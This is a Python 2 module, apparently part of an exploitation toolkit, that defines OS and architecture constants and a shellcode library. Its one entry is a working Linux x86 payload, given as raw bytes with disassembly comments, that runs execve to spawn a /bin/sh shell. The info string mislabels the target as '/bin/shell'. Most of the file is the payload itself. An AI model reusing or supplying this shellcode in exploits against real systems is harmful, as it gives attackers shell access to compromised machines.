#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Copyright (C) 2011 Plamen Valov


__all__ = ['OS_TYPE',
           'ARCH_TYPE',
           'SHELLCODES']


class OS_TYPE:
    (LINUX,
     WINDOWS,
     CISCO_IOS,
     XOS,
     IOS,
     BSD,
     SOLARIS) = xrange(7)


class ARCH_TYPE:
    (X86,
     X86_64) = xrange(2)


SHELLCODES = [
    {"os": OS_TYPE.LINUX,
     "arch": ARCH_TYPE.X86,
     "info": ("Executes /bin/shell with execve sys call"),
     "payload": (
                 "\xeb\x1a"                  # jmp    :label1 <start+28>
                 "\x5e"                      # pop    %esi
                 "\x31\xc0"                  # xor    %eax,%eax
                 "\x88\x46\x07"              # mov    %al,0x7(%esi)
                 "\x8d\x1e"                  # lea    (%esi),%ebx
                 "\x89\x5e\x08"              # mov    %ebx,0x8(%esi)
                 "\x89\x46\x0c"              # mov    %eax,0xc(%esi)
                 "\xb0\x0b"                  # mov    $0xb,%al
                 "\x89\xf3"                  # mov    %esi,%ebx
                 "\x8d\x4e\x08"              # lea    0x8(%esi),%ecx
                 "\x8d\x56\x0c"              # lea    0xc(%esi),%edx
                 "\xcd\x80"                  # int    $0x80
                                             # :label1
                 "\xe8\xe1\xff\xff\xff"      # call   <start+2>
                 "\x2f"                      # das
                 "\x62\x69\x6e"              # bound  %ebp,0x6e(%ecx)
                 "\x2f"                      # das
                 "\x73\x68"                  # jae    0x804a0d0
                )},
]
